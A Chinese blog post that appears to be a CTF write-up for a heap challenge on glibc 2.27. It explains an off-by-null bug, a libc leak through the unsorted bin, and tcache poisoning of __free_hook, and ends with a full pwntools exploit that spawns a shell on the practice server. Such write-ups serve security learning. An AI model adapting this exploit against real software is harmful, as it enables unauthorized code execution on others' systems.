Loading... *3.04* 这道题题目给的 libc 是 32 位的,但是程序本身是 64 位的..更令人崩溃的是查不出题目用的 libc,所以我基本是打不穿远程了,但是题目本身还是可以做一下,今天 leak 出了 libc_base,但是比较晚了,明天还有早八,所以先不搞了。 --- *3.05* 今天突然想到上 buu 看一下有没有环境,发现还真的有。buu 还是很讲理的,libc 都会提供,而且本题的比赛环境是 2.27,buu 和其一致,xctf 上则是 2.23 版本的。2.27 会简单不少,不需要使用地址错位,并且可以分配到 `__free_hook` 上写 `system` 的地址,大大增加了打通的可能性。这里先写一下针对 buu 的题解,之后可能会补一下 2.23 的利用方法,但是 xctf 上的远程基本是没法打了,痛失八分有些难受。 ### 2.27(buu)利用方法 漏洞点在 `read_input` 函数中 <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/03/2914800294.png "></div> 结尾处有一个 `off by null` 的漏洞。 同时本题提供了一个输出的函数 <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/03/894780067.png "></div> 所以不难想到可以通过 leak `Unsorted Bin` 链表尾的 `chunk` 的 `fd` 的指针来获得 libc 基地址。(这个方法这里不详细说原理了,可以看我的[这篇文章](https://www.cjovi.icu/pwnreview/1089.html)。) <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/03/1595158311.png "></div> 注意到 `delete` 的时候对指针置零了,无法直接 `UAF`。考虑申请 A,B 两个 chunk,利用 `off by null` 的漏洞来将 B 的 `prev_inuse` 位置零,这样在 `free(B)` 的时候就会前向合并,合并之后的 chunk 如果大小合适就会进入 `Unsorted Bin`中。 但是这个时候碰到了一个问题,前向合并的时候会对 A 进行`unlink`,但是程序开启了 PIE,我们难以伪造,也就是说如果不把 A 提前 `free` 掉,是不能 `free(B)` 的,但是如果提前 `free` 了 A,我们又没办法实现 leak 了。 解决这个矛盾的办法是在 A B 间再申请一个 chunk C,这样可以把 A 提前 `free` 掉,而我们仍然可以有一个能够访问已被 `free` 掉的 chunk 的指针,当然这个指针指向的是 chunk 的中段而不是开头,还是无法 leak,但是这不碍事,我们只要再申请一个和 A 大小一样的 chunk,C 指向的 chunk 就会被分割,C 指向的就正好是一个 `Unsorted Bin` 的 `fd` 指针啦!这样就实现了 leak。当然,为了防止 A 和 C 被合并,可以在两者直接放一个 chunk D 来隔开二者(为了之后的利用,这个 chunk 的大小需要能够进入 `Tcache`),再次申请时,申请的大小为 A 和 D 的大小之和。还有一点要注意,A 的大小要属于 `Unsorted Bin`,这样才能被成功 `unlink`。 也就是这样一个结构 <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/03/450469249.jpg "></div> 实现的代码: ``` Create(0x4F0,'index:0\n') Create(0xF0,'index:1\n') Create(0x5F8,'index:2\n') Create(0x4F0,'index:3\n') Create(0x20,'index:4\n') Delete(2) Delete(0) Create(0x5F8,'a' * 0x5F0 + p64(0xC00))#index:2 Delete(3) Create(0x5F0,"index:2\n") Show() ``` leak 的问题解决了,之后就是要实现任意地址写,这里可以使用 `Tcache poisoning` 很容易地分配到 `__free_hook` 上面。要实现 `Tcache poisoning`,需要能够对一个 `Tcache` 的 `next` 指针实现写的能力。事实上我们在实现 leak 时,再次申请的大小为 A 和 D 的大小之和的 chunk(记这个 chunk 为 E)就可以做到这一点。所以我们只要先 `free` 掉 chunk D,然后 `free` 掉 E,在把 E 申请回来就可以控制 D 的 `next` 了,就可以顺利分配到 `__free_hook` 上了,然后把 `system` 写进去,再 `free` 一个写有 `"/bin/sh\x00"` 的 chunk 就可以 getshell 了。 #### exp ``` #!/usr/bin/env python # coding=utf-8 from pwn import * context(log_level = 'debug') context.terminal = ["tmux",'splitw','-h'] def Create(size,payload): sh.sendlineafter("choice :\n",'1') sh.sendlineafter("Size:",str(size)) sh.sendafter("Data:",payload) def Delete(index): sh.sendlineafter("choice :\n",'2') sh.sendlineafter("Index:",str(index)) def Show(): sh.sendlineafter("choice :\n",'3') #sh = process("./timu") sh = remote("node3.buuoj.cn",28336) libc = ELF("./buu-libc-2.27.so") Create(0x4F0,'index:0\n') Create(0xF0,'index:1\n') Create(0x5F8,'index:2\n') Create(0x4F0,'index:3\n') Create(0x20,'index:4\n') Delete(2) Delete(0) Create(0x5F8,'a' * 0x5F0 + p64(0xC00))#index:2 Delete(3) Create(0x5F0,"index:2\n") Show() sh.recvuntil("0 : ") main_arena = u64(sh.recv(6).ljust(8,'\x00')) - 96 log.success("main_arena:" + hex(main_arena)) libc_base = main_arena - 0x3EBC40 log.success("libc_base:" + hex(libc_base)) alloc_addr = libc_base + libc.symbols["__free_hook"] system_addr = libc_base + libc.symbols["system"] one_gadget = libc_base + 0x3c565 Show() Delete(1) Delete(2) Create(0x5F8,'a' * 0x4F0 + p64(0) + p64(0x101) + p64(alloc_addr) + '\n') Create(0xF0,'/bin/sh\x00\n')#index:2 Create(0xF0,p64(system_addr) + '\n')#alloc to free #gdb.attach(proc.pidof(sh)[0]) Delete(2) sh.interactive() ``` 最后修改:2021 年 03 月 10 日 © 允许规范转载 打赏 赞赏作者 支付宝微信 赞 0 如果觉得我的文章对你有用,那听听上面我喜欢的歌吧